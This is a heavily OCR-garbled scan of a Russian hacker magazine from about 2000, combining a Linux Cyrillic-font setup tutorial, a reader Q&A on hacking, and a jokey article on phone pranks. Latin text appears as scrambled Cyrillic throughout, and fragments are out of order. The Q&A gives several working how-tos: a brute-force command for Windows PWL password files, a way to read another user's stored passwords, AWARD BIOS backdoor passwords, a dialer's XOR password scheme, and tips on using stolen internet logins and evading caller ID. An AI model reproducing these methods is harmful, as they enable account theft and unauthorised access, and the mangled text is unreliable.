сутствуют русские шрифты или, скорее всего, к ним 
заданы неправильные пути. Проверь, в каких дирек- 
ториях у тебя находятся раскладки и подредактируй 
файл шз. 



/беѵДкіаб. в директорию /плпІДіагсІ с, тогда в этом фай- 
ле должна быть следующая строка: 

/сІеѵ/МсІаб /тпІ/ИагсІ с ѵТаІ 

поаиіо , сос!ера§е=866 , і осНагзе1;=коі 8- г 0 0 
В этой строке ѵіаі означает тип файловой системы, да- 
лее через запятую указаны опции, передаваемые ко- 
манде тоипі при монтировании раздела. Все опции 
пишутся без пробелов между ними. 

і ХгУУіпсіоѵуз _ : 

Ну вот и любимый Х-ѴѴіпсІоѵѵз. И до него добрались, 
сейчас мы его ка-а-а-ак отрусифицируем! Делается это 
несколькими способами - можно просто прописать 
пути к русским шрифтам (ниже я покажу, как) или ус- 
тановить фонтсервер. Фонтсервер эта такая прога, ко- 
торая позволяет работать некоторым приложениям, 
активно использующим шрифты (например, Меізсаре), 
быстрее за счет того, что берет загрузку шрифтов на 
себя, выделяя это в отдельный процесс (уфф сказанул 
:)). Я думаю, для тебя не секрет, что Линукс использует 
свои собственные шрифты не совместимые с Мелко- 
софтовскими .Ш шрифтами. Фонт сервер для этих 
шрифтов зовется хТз и ставится вместе с Х-сервером 
версии 3.3.3- 1 по умолчанию. Если же у тебя носталь- 
гия по Ш шрифтам, поставь хізН - фонтсервер для Ш 
шрифтов. У него есть один главный недостаток - дале- 
ко не все программы понимают Ш. шрифты, так что те- 
бе решать, что использовать. При желании можно 
юзать оба одновременно. При установке желательно 
брать последние версии (в частности, в х&й, там мень- 
ше приходится “работать ручками” :)). 

Итак, сначала надо установить шрифты. Глянь в дирек- 
торию /изг/Х1 1 Пб/ІіЬ/Х1 1 Допіз - там должна быть пап- 
ка с названием типа СугіІІіс или коі8 или нечто подоб- 
ное. Если ничего похожего ты не наблюдаешь, то 
имеет смысл сравнить количество директорий в 
/изг/Х1 1 Р6/МЬ/Х1 1 /Топіз и число записей в файле 
/еІс/Х1 1 /ХР86СопТід - если оно совпадает, то русских 
шрифтов у тебя нет, обломись. Если число директорий 
больше, чем число записей в файле, то русские шриф- 





Перейдем к русификации Мібпідйі Соттапсіега - клон 
твоего любимого Моііоп Соттапсіега :). Здесь все 
очень просто: дави Р9, далее выбираешь из меню 
Орііопз -> Эізріау ЬіІз-> РиІІ 8 Ьііз оиіриі & РиІІ 8 Ьііз 
іприі И напоследок скажу, как сделать под Линукс ви- 
димыми русские имена файлов с М$ Раіі 2/1 6/32. Для 
этого необходимо убедиться, что ядро скомпилирова- 
но с поддержкой КОІ-8 и СР-866 - обычно это так и ес- 
ть по умолчанию. Далее, отредактируем файл /еІсДзІаЬ 
следующим образом. Допустим, ты хочешь примаун- 
тить виндусовский раздел, имеющий название 



ты у тебя есть (я не провидец, конечно, но, скорее все- 
го, есть :)). В конце я приведу ссылки, где можно слить 
описанные в статье проги и шрифты, а пока будем счи- 
тать, что ты уже давно все достал. Итак. Если мы руси- 
фицируем без использования фонтсервера, то в файл 
/еІс/Х1 1 /ХР86СопТід необходимо добавить пути к ки- 
риллическим шрифтам. Если все прошло успешно, то 
после загрузки Х-ов запускаем программу х^опізеі и 
кликаем на пункт меню, называемый Тпсігу. В открыв- 
шемся меню должно присутствовать слово коі. 



•{ Испол ьзуем _ХРЁ5 _ 

Если же мы хотим использовать хіз, то надо: во-пер- 
вых - установить кириллические шрифты, во-вторых - 
прописать в конфигурационный файл фонтсервера 
(/еІс/Х1 1 /Тз/сопТід ) пути к кириллическим шрифтам, 
поставив их перед путями латинских шрифтов! В- 
третьих, посмотреть, есть ли в /еІс/Х1 1 /ХР86СопТід 
настройка РопІРаЙі “іср/ІосаИіозі:7100”. (Естественно, 
если ты приписал все шрифты фонтсерверу, то, кроме 
этой настройки, никаких путей к шрифтам в этом фай- 
ле быть не должно!). И, наконец, в-четвертых - необ- 
ходимо проверить, будет ли хіз стартовать при загруз- 
ке системы. Для этого пиши в командной строке пізузѵ 
и убедись, что напротив хіз стоит звездочка. А если ее 
нет, то ставь ее (жми пробел). Чтоооо?!! Нет хіз? А я 
предупреждал - надо было ставить последнюю вер- 
сию :)). Кстати, начиная с ВебНаІ 5.9, он ставится по 
умолчанию. 

После всех этих сложных процедур тебе надо перезаг- 
рузиться. Видел строчку X іопізегѵег зіагіесі? Если да, 
то грузи X (не Хакер - нас грузить не надо - а 
ХѴѴіпсІоѵѵз :))). 

Или ХР5ТТ 

Если ты хочешь юзать хГзП, то необходимо сделать 
следующее. Достаем ее или в исходниках или уже от- 
компилированную (я использую версию 0.9.99-2). Да- 
лее, после ее установки создаем директорию 
/изг/зГіаге/ТопІзДгиеІуре (если она не была создана ав- 
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тематически при установке) и копируем туда любимые 
Ш шрифты. Их можно взять, например, из уже установ- 
ленной директории /ѴѴіпсіоѵѵз/Ропіз. А если у тебя не 
установлено виндов (в чем я ооочень сомневаюсь), то 
достать шрифты можно и в Интернете. Находясь в ди- 
ректории Ігиеіуре говорим: хізй -зупс. 

Результатом этого действия должна быть строка: зупс- 
іпд ЛІез. ...ТМез зупсесі, где вместо многоточия должно 
стоять количество файлов в этой директории. Далее 
смотрим, появилась ли дополнительная строка в 
/еІс/Х1 1/ХР86СопТід в разделе РопІраІМ. Если она там 
не добавилась (что возможно при использовании ста- 
рой версии проги), добавь ее сам, написав: РопіРаіИ 
“іпеі/і 27.0.0.1:7101”. Теперь из командной строки за- 
пускаем пізузѵ и убеждаемся, что там присутствует 
пункт хізй и слева от него стоит звездочка. Если этого 
пункта нет, то, возможно, была использована старая 
версия тру-тайп сервера, и обычно в этом случае в ар- 
хиве должен присутствовать стартовый скрипт, кото- 
рый необходимо скопировать в /еіс/гс.б/іпііб/ (дирек- 
торию, где расположены стартовые скрипты, которые 
запускаются при старте системы), назвав его х&й. 

После этого последний штрих - редактируем файл 
хізй, добавляя в строку запуска ($ХРЗТТ -сііг к О 

$ЛР(Ж5) следующий текст: 

-епсосііпд ѵѵіпсіоѵѵз- 1 251 ,коі8- к . - К 
г,ізо8859-1 -гез 120, ^ 

в которой “-епсосііпд” означает 
выбор кодировок для фонтов, а “-гез” - 
разрешение, в котором фонты будут представлены. По 
умолчанию, Х-зегѵег представляет фонты в разреше- 
нии 72сІрі, что слишком мелко. Рекомендуется уста- 
навливать -гез 96 для разрешений до 1024x768 и -гез 
1 20 для более высоких разрешений. После этого пере- 
загружаемся, видим строку хМ зеѵег зіагіеб (или по- 
добную ей), загружаем Х-зегѵег и запускаем хіопізеі. 

При нажатии на самый левый пункт Тпсігу в выпавшем 
меню должен присутствовать элемент Ш. Если он там 
есть, то запускаем какую-нить прогу - например, 

Иеізсаре, лезем в меню ЕбіІ->РгеІегепсез- 
>Аррагапсе->Роп!з и выбираем для ѴагіаЫе ѴѴісШі Гоп! 
и РіхесІ ѴѴібЙі Гоп! шрифты, у которых в скобках напи- 
сано ТЙ, и затем ставим галочку напротив ІІзе 
Ооситепйзресйіеб (опі іпсіисііпд Оупатіс Ропі Ну, вот 
и все. Теперь идем на МісгозоЙ ШІіѵе С53 бето 
(Іійр://ѵѵѵѵѵѵ.тісго50Й.сот/1уродгарІіу/с55/даІІегу/5Іібе1. 

Мт) и смотрим, как все красиво! :)) 



хшз.хтт. В результате при запуске Х-ов в левом ниж- 
нем углу появляется надпись ІАТ. Если это не прои- 
зошло, то, возможно, неправильно прописан путь к за- 
пускаемому файлу или к раскладке (здесь имя рас- 
кладки - ісикеп-коів-хгиз.хтт - раскладка Йцукен). 
Примечание: Эту строчку лучше всего вписать перед ЧТ 
[-2 “$ВВОѴѴ5ЕВ” ]; Йіеп’. 

Теперь ты можешь гордо переключать раскладки по 
СТВІ_-ЗРІІРТ или просто кликая мышкой в надпись 
ІАТ/ВІІ5. 

В КОЕ 1.1.2 встроен очень удобный (и наконец-то ра- 
ботоспособный!) переключатель раскладок, вызывае- 
мый К- >5уз1ет - > I піегпеііопаі КеуЬоагб Іауоиі Его нас- 
тройка аналогична виндовой и не вызывает проблем. 



Учим софт 
говорить, по-русски . . ' 

Перейдем теперь к русификации разного софта под 
Линукс. Я не собираюсь тут описывать, как препода- 
вать русский язык всем прогам на моем 



винте, для этого . 
целого ^ С Т' 







Примечание ] 

Чтобы эти шрифты присутствовали в КОЕ, 
необходимо их добавить к списку КОЕ шриф- 
тов, сделав следующее: запускаем Х-ы, далее 
(я исхожу из того, что запустился К йзкіор 
Епѵіготепі - КОЕ, по нашему) кликаем на бук- 
ве “К” в левом нижнем углу, в появившемся ме- 
ню выбираем Зузіет ->РопІтападег и добав- 
ляем нужные нам Ш шрифты с помощью кноп- 
ки АсІсІ. 



Сотый раз ; 

. в.первый .класс. \ 

Так, читать по-русски я тебя научил, теперь тебе нужно 
научится писать. :)) Для этой цели я юзал программу 
Хшз. Компилируем ее как обычно (сопТідиге, таке, 
таке іпзіаіі). Далее добавляешь такую строчку в файл 
/еІс/Х1 1 /хіпіі/хіпіігс: хшз /изг/ІосаІ/І і Ь/хгиз/іси кеп - коі8- 



жур- 

нала не хватило 
бы. Я лучше расскажу о 
ЗІаЮйісе, а с остальными прогами ты сам 
разберешься по аналогии. 

Итак, что меня порадовало в последней версии -5.1, 
это, во-первых, что она встала без проблем на мой Кеб 
На! 5.9, и то, что я мог сразу писать по-русски (Иксы у 
меня уже были русифицированы), причем я имел в 
своем распоряжении 3 шрифта в кодировке КОІ8-Г и 4 
шрифта в кодировке ѴѴіпІ 251 . Круто, да? :) Правда, ла- 
зая по директориям установленного Зіаг Ойісе, я на- 
шел только метрики от этих шрифтов (в формате .а!т), 
что привело меня к мысли о частичном использовании 
Зіаг Ойіз’ом стандартных шрифтов Х-ѵѵіпбоѵѵз. Тем не 
менее, я расскажу, как добавить еще несколько шриф- 
тов к уже имеющимся (в предыдущих версиях, нас- 
колько я знаю, сразу после установки русского языка 
не было вовсе!). Качаем файл йр://йр.кареІіа.дрі.ги 
/риЬ/сугіІІіс/ХРгее86-Туре1 Топіз.біг.зсаіе.дг и проделы- 
ваем с ним следующие манипуляции: 

$: сб /изг/ХІІКб/ІІЬ/ХИ/ТопІБ/ТуреІ/ 

$: тѵ ТопТб . сіі г ТопТб . сіі г .огі§ 



$: тѵ ТопйБ.БсаІе Топіб . 5са1е.огі§ 

$: ісаі {путь к файлу}/ХРгее8б-Туре1 
ТопІ5.сІ1г.5са1е.§2 > ТопТб . сіі г 
$: ср Топіб.сіі г ТопТб .Бсаіе 

По сравнению с оригинальными !оп!з.* здесь добавле- 
ны описания коі8 фонтов и изменена первая строка 
(количество доступных фонтов). Сами описанные в 
Топіз.біг файлы *.рШ также должны находиться в этом 
каталоге, их можно взять из файла Йр://Йр.кареІІа. 
дрі.ги/риЬ/сугіІІіс/дз-ІуреІ коі8 Топіз.ідг и, соответ- 
ственно, метрики взять из файла дз-іуреі коі8 аШдг. 
После этого шрифты будут доступны в Х-ѴѴіпбоѵѵз. Да- 
лее необходимо: 

1. Положить рШ-файлы из дз-іуреі коі8 Іопіз.ідг в 
$ХРРАТН/рз5оТЙоп!з/ (можно слинковать их из 
/изг/Х1 1 Пб/ІіЬ/Х1 1 ДотзДуреІ/). 

2. Положить а!т -файлы из дз-іуреі коі8 аШд г в 
$ХРРАТНДоп!те!псз/а!т/. 

3. Добавить в файл $ХРРАТН/рззШоп!з описания 
фонтов (файл зо-рззШопіз.абб.дг) командой ісаХ 
зо-рззШопІз.абб.дг » ЗХРРАТН/рззШопіз’ 
(Переменная ХРРАТН у тебя, вероятно, есть 
/изг/ІосаІ/5іаЮйісе-5. 1 /хрЗ). 

После этого, когда ты выберешь в 
ЗіаЮйісе-приложении в качестве принте- 
ра какой-либо розізсгі рі- п ри нтер , то тебе 
станут доступными шрифты “кигіег суг”, 
“агіаі суг”, “соигіег суг” и “Іітез суг”. Если 
в Х-ах при проведении всех этих действий эти шриф- 
ты появились (это легко проверить, запустив, напри- 
мер, Кебіі или другую простую программу, позволяю- 
щую менять шрифты), но при попытке написать этим 
шрифтом по-русски ты получил пустое место (в пря- 
мом смысле слова), то необходимо скопировать в ди- 
ректорию /изг/Х1 1 Пб/ІіЬ/Х1 1 Допіз /Туреі / .а!т метри- 
ки шрифтов из скачанного файла дз-іуреі коі8 
аШдг. 

Ну вот, теперь ты по- 
нял, что русифи- 
кация не так 
сложна, как ка- 
жется, и теперь ты мо- 
жешь не комплексовать из-за отсут- 
ствия в твоем любимом Линуксе русского язы- 
ка. Насколько я понимаю, теперь все твои друзья, 
наслушавшись твоих од и симфоний Линуксу, тоже 
перейдут на эту Ось :). 



ССЫЛКИ: 

М11:р://киІісІікі . гатЫег. ги/тоБІікоѵѵ/СУКІШС/ 
- русские шрифты/переключатели раскладки 
/перекодировщики/СугіПіс Іюиіо/. . . 

1Чр://те1а1аЬ.илс.еби/риЬ/Илих/Х11/1 : оп15/ - 
последняя версия хТзП (уже 1.1.6!) + прият- 
ное разнообразие рТЬ шрифтов. 

Ііир://шм.5ип.сот/ргобисІ5/5І:агоТТісе/§е1:.с 
§і - 51аг ОІЧісе 5.1 








Задавая вопросы, конкретизируй их. Давай больше данных о системе, описывай абсолютно все, что 
ты о ней знаешь. Это мне поможет ответить на твои вопросы. Не стоит задавать вопросов вроде: 
“как сломать \л/\л/\л/-сервер?” или вообще просить у меня “халявного” ІІЧТЕВІЧЕТ’а. 



О: Как сделать так, чтобы меня не 
отымели во все щели, когда я сижу 
под ѴѴ98, через 1 39-ый порт? 

А: На самом-то деле, даже используя мой со- 
вет, тебя все-таки могут отыметь... ;) Но раз 
спрашиваешь, то отвечаю: в свойствах интер- 
нет-соединения (Ргореіііез) надо убрать галоч- 
ку с пункта Тодоп Іо пеѣ/ѵогк”. Тогда твои ре- 
сурсы не будут доступны во внешней сети. Не 
для всех, конечно, но в основном не будут. ;)) 

О: Есть ли программа, позволяющая 
превратить ЕХЕ-шник в С++ код? 

А: Такой программы не существует. Хотя я 
всегда любезно готов предоставить крякер 
Инета ;). Такой программы не может существо- 
вать, хотя бы потому как: обычно при компиля- 
ции в созданном ехе-файле просто отсутствуют 
имена процедур, функций и переменных. Это 
одна из причин, но это еще цветочки. Далее - 
в процессе компиляции над проектом работает 
оптимизатор, который вырезает все ненужные 
куски (может кому обрезание сделать ;), как в 
программном коде, так и уже в сгенерирован- 
ном (рассмотрены не все причины). Как УНИ- 
ВЕРСАЛЬНЫЙ декомпилятор я могу лишь по- 
советовать ЮА. ЮА разберет все по полочкам в 
аззетЫег-виде. 

О: Что можно узнать, если известен 
чужой ір адрес? 

А: Ооо... с помощью этого можно узнать много 
чего, даже телефон, с которого человек вошел 
в И нет (если он не на выделенке). Но можно 
пойти и издалека. Например, можно узнать ус- 
тановленную там операционную систему. Как? 
По возвращаемым значениям ТТІ_ при ріпд’е 
этого ір. ѴѴіпсІоѵѵз N1, 95 больше 950 ЬиіІсІ, 98; 
ІМоѵеІ ІМейѵаге 4.1 возвращают 128. ѴѴіпсІоѵѵз 95 
08В2 - 32. 08/2 Мегііп, НР-ІЖ 10.20, Сізсо 
Воиіег 25хх - 255. А І_іпих 2.0.x, 8СО 5.x и Сізсо 
НЫВ 150х - 64. Экспериментируй! =) 

О: Куда исчезают старые релизы с 
Осіау ѵѵагег Ир [ЗѴѴѴѴ;]? :) 

А: Это так же, как с собачками: сдохли и все. В 
общем, у них есть три пути следующей “жиз- 
ни”: первый - это просто быть удаленными. То 



есть на тот момент, когда прога была зарели- 
жена, она никому не понадобилась, или релиз 
прошел незамеченным. Второй - гнить на ка- 
ких-нибудь риЫіс Йр групп (что маловероятно) 
или, скорее всего, на Йр каких-нибудь “частни- 
ков”. :) Ну и, наконец, третий - это быть им за- 
писанными на пиратские Сй-РЮМ’ы и распро- 
данными по всему ХІІ88В :). 

О: Слушай, а как хакеры получают 
доступ на Осіау: покупают или зара- 
батывают кракерством? 

А: В основном доступ покупают. Хотя и не всег- 
да. Есть единичные случаи ;). Тем более есть 
и такое понятие: сама группа записывает си дю- 
ки (мастеры), а дальше отдает тем, кто их наш- 
тампует. Ну, естественно, группа получает $ :). 
Если же бабок немерено, то можно купить дос- 
туп, примерно 300 вечнозеленых за месяц. Час- 
тенько покупающие мало рубят в кряке (поль- 
зуясь случаем, передаю привет для МіГіаІ ;). 

О: Как использовать переборщик 
паролей к рѵѵі Ьу НагсІ ѴѴізбот? :) 

А: Ну да... телевизор КВН - Купил, Включил, 
Не работает... Вот даю тебе командную строку, 
которую можешь изменить под свой лад: “рѵѵі- 
Ііаск.ехе /е:епд /Ь:з <имя рѵѵІ-файла> <имя 
юзера> /р:Ііаскіпд.Іод”. И для продолжения пе- 
ребора: “рѵѵІИаск.ехе /с:з <имя юзераХЬгк”. Я 
понимаю, что ты кул хацкер и у тебя нет лиш- 
него времени, и я всегда готов тебе помочь. Но 
иногда, для общего развития, полезно и само- 
му полазать в ІІзег МапиаІ. 

О: Есть ли какие-либо другие спосо- 
бы, кроме как перебор пароля? А то 
очень долго это! ;[( 

А: Тебе повезло: ты достал рѵѵі-файл, без паро- 
ля на вход в ѴѴіпсІоѵѵз. Тогда особого геморроя 
с “расшифровкой” не будет. ;) 

Ты берешь этот рѵѵі файл (к примеру, у 
Васи - он называется ѵазуа.рѵѵі) и 
прописываешь его в 8У8ТЕМ . I N I ка- 
талога ІѴЮ 9х. Прописываешь его ту- 
да следующим образом: 
“ѴА8ѴА=С:\ѴѴІМ\ѴА8ѴА.РѴѴІ_”. 

(Где “С:\ѴѴІІ\Г - путь к папке вин- 
дов). Ну, есснно, рѵѵі-файл дол- 



жен находиться по этому пути ;). Теперь нажи- 
маешь в ѴѴіпсІоѵѵз кнопочку “Закончить сеанс 
Хацкер...” (Пуск ->...) и логинишься под име- 
нем “ѴА8ѴА”. А далее запускаешь РѴѴІ_ѴІЕѴѴ... 
Вот и все дела, все танцуют :). 

О: Где можно было бы найти РІ_ЕХІт 
5йК для моей платформы? 

ч^#А: Необходимо зарегистрироваться на 
|Д|Ш сайте производителя (ІШр://ѵѵѵѵѵѵ.дІо- 
Ьеігойег.сот) для получения ключа. Да- 
лее скачиваешь файлы с их Кр: 
“Йр://Йр.дІоЬез.сотДІехІт”. 

О: Что такое Ргоху Зегѵег и как им 
пользоваться? 

А: Ргоху 8егѵег - это сервер, предоставляющий 
своим пользователям динамические ір адреса, 
основой является ір адрес этого сервера. В 
сеть ты выходишь через этот сервер, то есть 
имеешь не свой реальный ір адрес, а адрес, 
который тебе выделил ргоху зегѵег. Весь траф- 
фик, который идет на этот твой новый ір, пере- 
направляется ргоху зегѵег’ом на твой реальный 
ір. Прокси можно использовать для разных кул- 
хацкерских целей. Ну, например, когда хакер 
заливает на халявный сервак пагу о взломе. 
Или более глобально: хакер что-нибудь взло- 
мал ;). Примером халявного анонимного ргоху 
зегѵег’а является следующий сервак: 
“сасГіеІ .сс.іпіегіод.сот”, роіі: 3128. Только не 
надо писать мне, вопрошая новые прокси, зай- 
ди в поисковик и набей: Ргоху Шзі+Апоп. А до- 
бавив параметр +В11 - получишь российские. 
А еще лучше воспользуйся прогой Ргоху 
Ѵаіібаіог. Обзор прог этой серии ты можешь 
найти в X №1 за этот год. 

О: Существует ли способ принуди- 
тельно замедлить скорость выпол- 
нения ООЗ’овской программы под 
ѴѴіпЭх? 

А: Да, существует. Можно поиграть с 
приоритетами задачи, но это поможет 
слабо. Точнее, вообще не поможет. Извра- 
щенцы, например, запускают параллельной 
задачей - расчет траектории посадки иссле- 
довательской станции на Марс. Ты же, как 
нормальный чел, запускаешь программу- 








ХАКЕР > ФЕВРАЛЬ'Ѵ2К 



РАО ВЗЛОМА 
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Задавать вопросы можно по е-таіі адресу хак^@сМа(;.ги [е-таіі адрес состоит только из англий- 
ских букв). Поле письма Зикцесі; обязательно должно быть с пометкой “вопрос для РАО”, иначе от- 
вета ты просто не дождешься. Ведущий рубрики, Хакер 





затормаживатель. Таких программ написано 
бесконечное количество ;). С довольно интерес- 
ными названиями типа Т0ВМС7 и т.п. 

О: Знаю номер кредитки, но не знаю 
инфу о владельце. Если напишу от 
балды, то пройдет ли этот вариант 
где-нибудь? 

А: Эх ты, кулхака! Нумбер карты без инфы о 
владельце, какхацкер без компа :). Где-нибудь 
может это и прокатит, но в основном - нет. 
Идет проверка по всем параметрам. Прошли те 
времена, когда можно было нагнать всякой 
пурги :). А вообще, стремное это дело, почитай 
X №1 1 , за 99 год, и убедись... 

О: Поставил пароль на ВЮЗ на 
своем РС (ВЮЗ АѵѵагсГовский), а па- 
роль забыл. Как снять? 

А: Для АѴѴАРЮ ВІОЗ’ов есть универ- 
сальные пароли :). Вот несколько из 
них: “АѴѴАРЮ ЗѴѴ”, “АѴѴАРЮ ѴѴС”, 
“АІ_РАРЮМЕ”, “ВІОЗТАВ”, “ЗКѴ 
РОХ”, “01322222”, “]262”, “]256”, 

“]322”, “]09Р”, 7ВАААСА”, 7ААА- 
ОА”, “71ААА0С", “ТТРТНА”, “Ікѵѵ- 
реіег”, ТОО”, “НИ”, “ЗЕВ”, 

“ГібВВ”, “ІщР, “дбРЭ”, “ЮсН88”, 

“ШОх”, “1 ЕААГі”, “аРАР, “Зу хі”, 

“ѴѴосІі”, “?аѵѵагсГ. Далее - ес- 




шее внимание уделяют компутерной сфере и 
непосредственно хакерам. Обычно сначала 
звонит законный владелец логина или супорт 
провайдера (где логинчик был). А уже потом 
те, кого стоит опасаться. Не буду в 3001 
раз говорить про АОНы, сам знаешь. Но 
именно 90% случаев отлова хакера, украв- 
шего пароль, приходятся на долю логов 
АОН. Поэтому хакер должен досконально 
знать о пуле, на который он прозванивается. 
Т.е. иметь 100% гарантию, что нет АОНа. Если 
же уверенности нет или у прова - только та- 
кие пулы, то хакер обманывает определитель, 
выпустив специальный сигнал в линию, про 
это читай - в N25 за 99. Но если телефон ха- 
кера оказался в лапах прова, то вполне реаль- 
но договориться решить проблему “миром”. В 
таком случае могут предложить заплатить те 
бабки, на которые хакер кинул владельца ло- 
гина. Ну а если честно, то ло- 
ги АОНов провайдера не яв- 
ляются доказательством в су- 
де. Любой кульный хацкер мо- 
жет отвергнуть обвинения, пояс- 
нив, что его подставили “злые 
хакеры” :). Сам знаешь: подклю- 
читься к твоему телефону может лю- 
бой. Ты, конечно, все решишь сам, 
но стоит напомнить, что красть 
И нет - то же, что и украсть ко- 
шелек, машину, телевизор, бан- 
ку соленых огурцов :). 




любой. Но ответ не совсем этот правильный. 
Потому как не все дебагеры являются безглюч- 
ными :). Я бы посоветовал использовать 
003-версию дебагера ЗоШСЕ (непово- 
ротливый, жирный, мощный, но все же с 
глючками :)). Или наилучшим вариантом бу- 
дет 0ЕСШСКЕР (маленький, удобный и 
почти безглючный ;)). 

О: Есть ли какой-нибудь способ уз- 
нать пароли к Инету, когда на маши- 
не использует нестандартный 
ѴѴіпсІоѵѵз-ОіаІег? 

А: Да, можно. Обычно все такие “улучшенные” 
Оіаіег’ы используют совершенно отвратитель- 
ные способы сохранения логинов и паролей. 
Они их либо вообще не шифруют (рІаіп-ІехГом 
записывают в свои конфиги). Либо шифруют 
всяким отстоем типа ХОР. Не буду создавать 
антирекламу, но скажу, что есть один 
дайлер, который шифрует/расшифро- < 
вывает пароли по следующему КРУТО- 
МУ алгоритму. Вот тебе исходник на { 
РАЗСАІ_’е: 

Рог ВО := 1 То І_епдШ(Раззѵ\югсІ) Эо 
РаззѵѵогсІ[ВО] := СГіг( (ОгсІ ( РаззѵѵогсІ [ ВО] ) хог 
($39+ ВО-1))); 

О: Можно ли уберечься как-нибудь 
от ІМикег’ов, РІоосІег’ов и т.п.? 






ли не подходит ни один из 
паролей, то есть еще и программы универсаль- 
ные переборщики. Они по СВС пароля в ВІОЗ’е 
“генерируют” пароль. Есть программные “сбра- 
сывальщики” ВІОЗ’а. Это в случае доступа к за- 
пуску. Ну и старый дедовский метод ;) - зам- 
кнуть) вынуть) батарейку =). А вообще, в Аѵѵагсіе 
- не лохи сидят, и большинство фишек по добы- 
че пароля закончились после версии 4.51 . 




О: Моя проблема заключается в том, 
что меня вычислили :(. Я нахакал нес- 
колько паролей на Инет и пользовался 
ими. После чего раздался телефонный 
звонок и серьезный голос сказал: “Бу- 
дем разбираться”. Что делать? 

А: Что делать, что делать? Нечего было Инет 
воровать. Предупреждали ведь. Как многие 
знают, в последнее время силовики все боль- 



О: Где можно взять словари для пе- 
реборов (поиска паролей)? 

А: На самом деле, я не считаю перебор по сло- 
варю эффективным способом хака. Потому как 
давно прошли времена паролей типа “Іоѵе”, “зех” 
и т.п. Но вообще, ѵѵогсі-листы в Интернете ва- 
ляются почти на каждом углу (ищи через любой 
поисковик “+ѵюг(М +Ьід +Иаск +раззѵѵогсГ). 
Можно еще воспользоваться списками слов из 
разных программ для проверки орфографии. 
Причем там словари довольно большие. 



А: Да, можно! Купите у нас Мосіет-Напдирег 
всего за $99.98 и вы навсегда забудете обо всех 
Иике’ах и РІоосГах :). Так сказали бы тебе в рек- 
ламе, но я скажу немного по-другому. Можно, 
но только осторожно. И, естественно, не без по- 
мощи специальных программ. Есть разные Иике 
Шсіпег’ы, Иике ѴѴагпег’ы и т.п. Одним из прос- 
тых способов защиты с и без предупреждения 
самого себя - это софтверный РігеШІ. О них я 
уже писал до этого. Ну, а если тебе не хочется 
ставить РігеѴѴаІІ и геморроиться с его настройка- 
ми, то ставишь простенький сканер входящего 
траффика пакетов, который в простонародии и 
называется ИикеШсІіег. » 





А: ЭОЗ-дебагеров (в отличие от ѴѴіпсІоѵѵз) нава 
лом. Поэтому самым простым ответом будет: 



О: Какой беЬидег можно использо- 
вать для снятия дос-защиты? 
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Дважды маньяк ордена опущенного таксофона Геннадий Крэк-о-деаов. 

(О телекоммуникационном онанизме, проводном сексе и телефонном маньячестве). 




Так я ему и поверил. Врет он все, шкура, хитро улы- 
баясь. Все когда-либо маньячили по телефону. Тебе, 
наверное, не надо рассказывать, как это бывает. Ну, 
собрались мальчики и/или девочки и решили от из- 
бытка чувств и алкоголя в крови кому-то позвонить... 
Давай лучше разберемся, как и почему это происходит 
и что за это бывает. 



Секс на медной паре или как натянуть дилетанта 



Бывает, что тебе звонит кто-то, молчит и дышит в 
трубку. Или звонят какие-то совершенно незнакомые 
дЭвочки с разными дебильными вопросами типа: “Как 
дела, ты меня узнал?”. Ни в коем случае не надо под- 
даваться на провокации. В самый раз открыть дядюш- 
ку Фрейда и почитать этим маленьким извращенкам 
про детские половые отклонения. 

Полезно воспользоваться техническими преимущес- 
твами. Если у тебя есть автоматический определитель 
номера (АОН), настрой его таким образом, чтобы но- 
мер определялся только во время поднятия трубки. 
Тогда телефонный маньяк не будет знать, что его но- 
мер определен. Теперь идешь к компу и находишь по 



Денис, тебе когда-нибудь звонил те- 
лефонный маньяк? 

-Нет... 

-А сам когда-нибудь маньячил? 
-Нет... 



-А твои друзья? 

-Нет... 

-А вообще кто-то из знакомых??? 
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АОН. Но не все так просто, дело в том, что время всех 



городской телефонной базе (на развалах можно най- 
ти диск с абонентскими номерами твоего города) ад- 
рес твоего нового “знакомого”. Теперь можно ему по- 
ведать его точный географический адрес. Обычно лю- 
ди просто кладут в штаны и бросают трубку (или бро- 
сают в штаны и кладут трубку). Но не отчаивайся, 
можно перезвонить и продолжить веселье. Этот на- 
дежный метод мне поведал один мой друг, которого 
донимали малолетки. 

Тетя, расскажи мне сказку про большие груди! 

Многие перцы думают, что секс по телефону это очень 
круто. Представь, звонишь в эту службу, там вклю- 
чается какой-то дерьмовый магнитофон, а потом при- 
ходит счет твоим родителям. 

Лучше позвони своей старой школьной подруге, ду- 
маю, ты получишь больше удовольствия. Особенно ес- 
ли вы решите встретиться и тряхнуть стариной после 
такого разговора. Когда я учился в школе, одна девоч- 
ка звонила всем домой и стонала в трубку, а потом это 
долго обсуждали на родительском собрании. 

Словом, платный секс по телефону - полная лажа. Ни- 
какого удовольствия, только выколачивание денег. За- 
помни, что в 90% случаев там сидит тетка-телефонис- 
тка, которая первый и последний раз видела голого 
мужика в детском анатомическом атласе и то без ко- 
жи. Она тупа как пробка и все придумывает не сама, 
а читает по бумажке. Счетчик тем временем вращает- 
ся и поднимает с тебя бешенные бабки. 

Скупой платит задом. Захотел бесплатного секса, 
приятель? 

Ты крутой хацкер, у тебя даже есть настоящий анти- 



твоих телефонных звонков, абоненты с которыми ты 
соединялся, время, которое ты с ними говорил, сох- 
раняется в ядре телефонной сети в общей базе дан- 
ных. И с АОНом это никак не связано. Так что если ты 
звонишь разным бабулькам в 3 часа ночи и предла- 
гаешь интимную связь в извращенной форме, то тебя 
обязательно поймают. А потом позвонят всем, с кем 
ты говорил в течение нескольких месяцев, и спросят 
у них про тебя. 

Если после разговора вообще не класть трубку, а по- 
ложить ее рядом с аппаратом, то номер сохранится на 
телефонном узле. Даже если ты повесил трубку. Ста- 
рушка идет к соседке, звонит на телефонный узел, по- 
лучает там справку с твоим телефоном. Потом она пи- 
шет в отделение милиции заявление в двух копиях. 
Одну копию у нее берут, другая остается, заверенная 
участковым с печатью. В результате тебя круто берут 
за задницу органы, тут-то и начинается самая изуми- 
тельна часть телефонного секса. Удивительно, но о 
том, как себя вести с телефонными маньяками поче- 
му-то знают почти все старушки. 

Телефонное маньячество могут приравнять как к хули- 
ганству, так и к терроризму. Все может закончиться 
штрафом или даже тюрьмой. 

Тебе все же неймется и хочется позвонить в “секс по 
телефону” за чужой счет? Вот несколько способов: 

1 . Позвоню из автомата или с работы, от прия- 
теля Саши. 

Никуда ты не позвонишь. Таксофоны и рабочие теле- 



фоны обычно заблокированы, а если ты позвонишь с 
работы, то квитанция придет с точным временем твое- 
го разговора. Босс или родители твоего приятеля вы- 
числят тебя очень быстро. Конечно, ты можешь ис- 
пользовать поддельную карту для звонка по межгоро- 
ду с таксофона. Но какой секс, если тебя постоянно 
